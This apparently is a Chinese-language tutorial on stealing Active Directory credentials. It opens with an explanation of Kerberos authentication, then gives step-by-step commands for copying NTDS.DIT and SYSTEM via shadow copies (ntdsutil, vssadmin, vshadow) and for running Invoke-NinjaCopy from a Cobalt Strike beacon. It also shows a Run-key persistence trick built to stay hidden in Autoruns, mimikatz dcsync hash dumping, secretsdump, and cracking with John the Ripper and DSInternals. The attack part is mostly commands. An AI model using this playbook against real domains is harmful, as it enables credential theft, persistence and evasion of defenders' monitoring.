域环境密码凭证获取
域环境密码凭证获取
hihopkcWindows域认证
Windows的认证包括三个部分:
- 本地认证:用户直接操作计算机登录账户
- 网络认证:远程连接到工作组中的某个设备
- 域认证:登陆到域环境中的某个设备
域内认证即采用了 Kerberos 协议的认证机制,与前两者相比最大的区别是有一个可信的第三方机构KDC 的参与
活动目录
活动目录:Active Diretory,AD,是指域环境中提供目录服务的组件。目录用于存储有关网络对象(例如用户、组、共享资源计算机、、打印机和联系人等)的信息。能够快速、准确的从目录中找到其所需的信息的服务,为企业提供了网络环境集中式管理的机制。
活动目录主要的功能:
- 账号集中管理:所有的账户都存储在服务器中,可以方便快捷的执行命令和管理密码等。
- 软件集中管理:能够统一推送软件,安装网络打印机等服务器
- 环境集中管理:统一客户端桌面、IE等
- 增强安全性:统一部署杀软,统一执行病毒扫描任务、集中管理用户的计算机权限,统一指定密码策略。
- 更加的可靠更短的宕机时间
在域中,网络对象可以相互访问,但是在真实情况中,需要对某些部门的计算机进行限制,例如:销售部门不能访问技术部门的服务器。这个中间就需要 Kerberos 认证协议来验证网络对象间的权限。
Kerberos协议简介
- Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为 客户机/服务器 应用程序提供强大的认证服务。
- 该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
- 在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
参与域认证的三个角色:
- 访问服务的Client(用户)
- 提供服务的Server(服务)
- KDC(Key Distribution Center)密钥分发中心
在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
Kerberos认证协议基础
- 票据(Ticket):
是网络对象互相访问的凭证。
- AD(Account Database):
存储域中所有用户的用户名和对应的 NTLM Hash,可以理解为域中的SAM数据库,KDC 可以从AD中提取域中所有用户的 NTLM Hash,这是Kerberos 协议能够成功实现的基础。
- KDC(Key Distribution Center):
密钥分发中心,负责管理票据、认证票据、分发票据,里面包含两个服务:AS 和 TGS
KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+AS(Authenication Service)+ TGS(Ticket Granting Service)
从物理层面看,AD 与 AS,TGS,KDC均为域控制器(Domain Controller)
- AS(Authentication Server):
身份认证服务,为 Client 生成 TGT 的服务,也用来完成对 Client 的身份验证
- TGS(Ticket Granting Server):
票据授予服务,为Client
生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务,该服务提供的票据也称为 TGS 或者叫白银票据
- TGT(Ticket Granting Ticket):
看英文名就知道,用来生成 Ticket 的 Ticket,由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时
注意:
Client
密钥、TGS
密钥 和 Service
密钥 均为对应用户的 NTLM Hash
TGS
密钥 == KDC Hash
== krbtgt
用户的 NTLM Hash
Server
和 Service 可以当作一个东西,就是 Client 想要访问的服务器或者服务
Client/(TGS/Server) Sessionkey
可以看作客户端与 TGS 服务和尝试登陆的 Server 之间会话时用来加密的密钥,而 (Client/TGS/Service) 密钥(上面提到的三个实际为 NTLM Hash 的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密
参与认证的三个角色的 NTLM Hash
是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥Sessionkey
的安全传输
Kerbreros认证流程
Client向KDC发起服务请求,希望获取访问Server的权限。 KDC得到了这个消息,首先得判断Client是否是可信赖的, 也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS返回TGT给Client。
Client得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候通过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。
(TGS服务的任务)
Client得到Ticket后便可以使用这个Ticket成功访问Server。但是这个Ticket只能用来访问这个Server,如果要访问其他Server需要向KDC重新申请。
用户登录
- 用户输入 [用户名] 和 [密码] 信息
- 在客户端,用户输入的 [密码] 通过计算生成 NTLM 哈希作做为 [CLIENT密钥]
请求身份认证
客户端向AS(身份认证服务)发送认证请求
- 客户端向AS发送认证请求,请求中带有明文的 [用户名] 信息
此时并未发送[密码]或[密钥]信息
AS确认Client端登录者用户身份
AS收到用户认证请求之后,根据请求中的 用户名 信息,从数据库中查找该用户名是否存在。
如果 用户名 存在,则根据该用户名提取 NTLM Hash 做为AS生成的CLIENT 密钥,如果第1步中用户提供的 密码 信息正确,该秘钥与用户登录中的 CLIENT密钥 是相等的。
AS为Client响应如下消息:
Msg A 使用 KDC 生成的 CLIENT密钥 加密的 CLIENT/TGS SESSIONKEY
Msg B 使用 TGS 密钥 加密的 TGT(TICKET-GRANTING-TICKET),客户端没有 KDC NTLM Hash 因
此 Client 无法解密 TGT 。
TGT中包含如下信息:
[Client/TGS SessionKey]
Client ID
Ticket有效时间
CLient 地址
Client收到AS的响应消息以后,利用自身的 CLIENT 密钥 可以对 Msg A进行解密,这样可以获取到CLIENT/TGS SESSIONKEY 。但由于Msg B是使用 TGS 密钥 加密的,Client 无法对其解密。
- AS响应的消息中有一条是属于Client的,但另外一条却属于TGS。
- Client/TGS SessionKey 出现了两个Copy,一个给Client端,一个给TGS端。
- 认证过程中的加密除哈希外均采用的是对称加密算法。
请求服务授权
客户端向TGS发送请求服务授权请求
客户端发送的请求中包含如下两个消息:
Msg C
要请求的服务ID, 即 [Service ID]
上一步2.2中由AS为 Client 提供的TGT。
Msg D
- 使用 CLIENT/TGS SESSIONKEY 加密的 Authenticator 1 {Client ID, Timestamp}。
KDC接收到TGT与其他内容后,会首先使用KDC 的 NTLM Hash解密TGT,只有KDC可以解密TGT,从TGT中提取到 CLIENT/TGS SESSIONKEY ,再使用 CLIENT/TGS SESSIONKEY 解密Authenticator1,获取到 {Client ID, Timestamp} 并与通过解密TGT获取到的{Client ID, 有效时间
}进行对比
TGS为Client响应服务授权票据
TGS为Client响应的消息包括:
- Msg E 使用 SERVICE 密钥(服务器的 NTLM HASH) 加密的 CLIENT-TO-SERVER TICKET , 该Ticket中包含了如下信息:
- [Client/Server SessionKey]
- Client网络地址
- Ticket有效时间
- Client ID
- Msg F 使用 CLIENT/TGS SESSIONKEY 加密的 CLIENT/SERVER SESSIONKEY 。
Msg F 使用了 CLIENT/TGS SESSIONKEY 加密,因此,该消息对Client可见。Client对其解密以后可获取到 CLIENT/SERVER SESSIONKEY 。
而 Msg E 使用了 [SERVICE密钥] 加密,该消息可视作是TGS给 Service Server 的消息,只不过由Client一起携带发送给 Service Server
发送服务请求
Client向Service Server发送服务请求
发送的消息中包括:
Msg E 上一步3.2中,TGS为Client响应的消息Msg E。该消息可以理解为由Client携带的消息。
Msg G 由 [Client/Server SessionKey] 加密的 Authenticator 2,包含{Client ID, Timestamp}信息。
CLIENT/SERVER SESSIONKEY 并非直接传输,而是被包含在使用[Service密钥] 加密的 Msg E
中。既然 [CLIENT/SERVER SESSIONKEY] 并不直接明文传输, Client需要向 Service Server 证明自己拥有正确的 CLIENT/SERVER SESSIONKEY ,所以,Authenticator 2使用了CLIENT/SERVER SESSIONKEY 加密。
Service Server响应Client
- SS收到客户端的服务请求之后,先利用自身的 [SERVICE密钥] 对Msg E进行解密,提取出Client-ToServer Ticket, 在3.2步骤中,提到了该Ticket中包含了CLIENT/SERVER SESSIONKEY 以及Client ID信息。
- SS使用 CLIENT/SERVER SESSIONKEY 解密 Msg G,提取Client ID信息,而后将该 Client ID 与Client-To-Server Ticket 中的Client ID进行比对,如果匹配则说明Client拥有正确的CLIENT/SERVER SESSIONKEY 。
- 而后,SS 向 Client 响应 Msg H (包含使用 CLIENT/SERVER SESSIONKEY 加密的 Timestamp 信息)。
- Client 收到SS的响应消息Msg H之后,再使用 CLIENT/SERVER SESSIONKEY 对其解密,提取Timestamp信息,然后确认该信息与Client 发送的 Authenticator 2 中的 Timestamp 信息一致。
如上信息可以看出来,该交互过程起到了Client与SS之间的“双向认证”作用。
活动目录数据库
Active Directory 域服务AD DS 数据存储:
- 由 NTDS.DIT 文件构成,是Active Directory的核心
- 默认存储在域控的 %SystemRoot%\ntds\ 文件夹下
- 只能通过域控制器进程和协议访问
活动目录数据库 NTDS.DIT:NTDS.DIT是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。
在工作组环境中,SAM文件存储着当前主机用户的密码哈希值
在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值
因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值
Windows系统为了进一步保护存储的密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密
因此想要破解SAM文件与NTDS.DIT文件都需要获取一个SYSTEM文件。
1 | NTDS.DIT文件位置:%SystemRoot%\NTDS\NTDS.dit(C:\Windows\NTDS\NTDS.dit) |
由于Window会阻止对这些文件的标准读取或复制操作,如果直接去复制NTDS.DIT文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。
Volume Shadow Copy
https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。
- 用于数据备份
- 支持 Windows Server 2003 及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
- 禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows Server Backup
我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。
注意:
- 调用 Volume Shadow Copy 服务会产生SYSTEM日志,Event ID 为7036。
- 执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生 EventID 为 98 的日志
Ntdsutil
Ntdsutil.exe 是一个命令行工具,它为 Active Directory 域服务 (AD DS) 和 ActiveDirectory轻型目录服务 (AD LDS) 提供管理工具。您可以使用ntdsutil命令执行 AD DS 的数据库维护,管理和控制单个主机操作,并删除域控制器留下的元数据,这些域控制器在未正确卸载的情况下从网络中删除
域环境默认安装,要使用 Ntdsutil.exe,必须从管理员命令提示符运行
如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用 dsdbutil.exe 和dsmgmt.exe 命令行工具来执行可以使用 ntdsutil.exe 执行的相同任务。
支持系统:
- Windows Server 2003
- Windows Server 2008
- Windows Server 2012
交互式
1 | # 进入ntdsutil命令行 |
- 以管理员身份打开命令提示符(cmd.exe)
- 在命令提示符输入ntdsutil命令
- 在ntdsutil提示符下输入
1 | #激活 AD DS 实例 |
<Drive>:<Folder>
是要创建文件的文件夹路径。
tree /F C:\kc
非交互
1 | ntdsutil snapshot "activate instance ntds" create quit quit |
查询当前系统的快照
1 | ntdsutil snapshot "List All" quit quit |
创建快照
1 | ntdsutil snapshot "activate instance ntds" create quit quit |
挂载快照
1 | ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit |
快照挂载为C:\$SNAP_201908291617_VOLUMEC$\
复制ntds.dit
1 | copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit |
卸载快照
1 | ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit |
删除快照
1 | ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit |
Vssadmin
vssadmin:卷影复制服务管理命令行工具
域环境默认安装
支持系统:
- Windows Server 2003
- Windows Server 2008
- Windows Server 2012
查询当前系统的快照
1 | vssadmin list shadows |
创建快照
1 | vssadmin create shadow /for=c: |
获得Shadow Copy Volume Name为\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
访问快照中的文件
查看快照列表:
1 | vssadmin list shadows |
无法直接访问 ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件
可通过创建符号链接访问快照中的文件:
1 | mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\ |
删除符号链接:
1 | rd c:\testvsc |
如下图:
复制ntds.dit
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit |
删除快照
1 | vssadmin delete shadows /for=c: /quiet |
Vshadow
https://docs.microsoft.com/zh-cn/windows/win32/vss/vshadow-tool-and-sample
Vshadow ( vshadow.exe ): 是用于管理卷影副本的命令行实用程序。此工具包含在 MicrosoftWindows Software Development Kit (SDK) 中,有 Microsoft 签名。
Vshadow 有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。
查询当前系统的快照
1 | vshadow.exe -q |
创建快照
1 | vshadow.exe -p -nw C: |
获得 SnapshotSetID、SnapshotID、Shadow copy device name
复制ntds.dit
1 | copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit |
删除快照
1 | vshadow -dx={ShadowCopySetId} |
利用vshadow执行命令
Vshadow.exe 支持 -exec 参数,可用于执行二进制文件(.exe)或脚本(.bat/.cmd)。
-exec 参数不支持命令参数
要求:
- 管理员权限
- 上传Vshadow.exe
- 上传攻击载荷
执行命令格式:
1 | vshadow.exe -nw -exec=<\path\to\exe> <系统驱动器> |
-nw:允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“物理”磁盘证据
执行命令:
1 | beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c: |
成功执行 Vshadow 将启动卷影服务 (VSS),如系统事件 ID 7036 所示,并调用 VSSVC.exe 进程。
执行后,后台存在进程 VSSVC.exe,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe
注:手动关闭进程 VSSVC.exe 会生成日志 7034
自启动持久化和规避
利用思路:
vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns 的默认启动列表不显示
1 | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ |
在 AutoRuns 中,当过滤 Microsoft Entries 时,我们将看不到我们的登录条目
但是,如果我们取消选择 Microsoft Entries 并启用 Windows Entries,我们将看到我们的持久性机制的记录
NinjaCopy
使用 PowerShell 复制 NTDS.dit / Registry Hives,绕过 SACL/ DACL / File Locks
用于获取哈希的技术要么依赖于将代码注入 LSASS,要么使用卷影复制服务来获取包含哈希的文件的副本。
Invoke-NinjaCopy,一个 PowerShell 脚本,能够通过获取卷的读取句柄并解析 NTFS 来复制NTDS.dit、注册表配置单元和位于 NTFS 卷上的任何其他文件。这不需要提升到 SYSTEM、注入到SYSTEM 进程或启动新服务/可疑程序
原理简述:获取 C 卷的读取句柄(管理员帐户可以执行此操作),能够读取整个卷的原始字节。然后,解析 C 卷上的 NTFS 结构,确定特定文件的字节在卷上的位置,扫描到该位置并复制文件字节。
C++ 编写的 NTFS 解析器:http://www.codeproject.com/Articles/81456/An-NTFS-ParserLib
将现有的 NTFS 解析器编译为 DLL 并将其加载到 Invoke-ReflectivePEInjection
1 | Import-Module .\invoke-NinjaCopy.ps1 |
1 | beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1 |
没有调用 Volume Shadow Copy 服务,因此不会产生日志
解密NTDS.DIT文件
Mimikatz在线破解
在线破解,不用将域控上的ntds.dit文件下载下来,直接在已有的shell上破解。
有一个Cobaltstrike弹回的beacon,就可以在beacon中直接利用mimikatz来破解,前提是要有管理员权限
有一个 Meterpreter Shell ,可以在Session会话中加载kiwi模块,直接在目标主机进行密码凭证获取
Mimikatz有一个功能dcsync,它可以利用目录复制服务(Directory Replication Service,DRS)从NTDS.DIT文件中提取密码哈希值。
- DCSync工作原理
- 攻击者获得管理员及以上权限后,可以使用Mimikatz等工具模拟Active Directory域控制器
- 然后攻击者使用DCSync命令,在目标域控制器上请求某个指定帐户的NTLM存储凭证密码哈希值,而无需提供该帐户的明文密码。但是攻击者需要知道目标帐户的名称,以及目标系统的域名和管理员凭据。
- 目标域控制器接收到此请求后,将密码哈希值返回给攻击者。
- 攻击者可以使用获得的密码哈希值来执行其他攻击,例如Pass-the-Hash攻击,这种攻击技术允许攻击者使用哈希值进行身份验证并获取对系统的访问权限,而无需知道实际的明文密码。此外,攻击者也可以尝试破解密码哈希值以获得明文密码。
- 获取 mingy 域内所有用户 Hash
1 | mimikatz lsadump::dcsync /domain:mingy.com /all /csv |
- 查看单个用户的详细信息
1 | mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt |
- 查看所有用户的详细信息
1 | mimikatz lsadump::lsa /inject |
离线破解
离线破解一般需要两步,首先就是将远端域控的ntds.dit下载到本地,然后再在本地进行破解。
ntds.dit文件一直在被windows系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。
- SecretsDump
通过 impacket
套件中的 secretsdump.py
脚本获取 Hash
1 | # sam |
解密Hash得到明文密码,复制administrator账号的 NTLM Hash 写入文件 1 中:
1 | 161cff084477fe596a5db81874498a24 |
使用 John the ripper 进行 NTLM Hash 破解
1 | john 1 --format=NT |
- DSInternals
DSInternals PowerShell模块提供了构建在框架之上的易于使用的cmdlet。主要功能包括离线ntds.dit文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。
支持系统:
1 | Windows Server 2012 R2 |
要使用 DSInternals 模块提取用户哈希值,我们需要先获取 ntds.dit、SYSTEM 这两个文件。将ntds.dit、SYSTEM 这两个文件导出并拖到我们本地后,即可执行如下命令获取所有账户哈希:
1 | # 导入DSInternals模块 |
还可以导出支持 Hashcat 格式的哈希:
1 | $key = Get-Bootkey -SystemHivePath 'C:\SYSTEM' |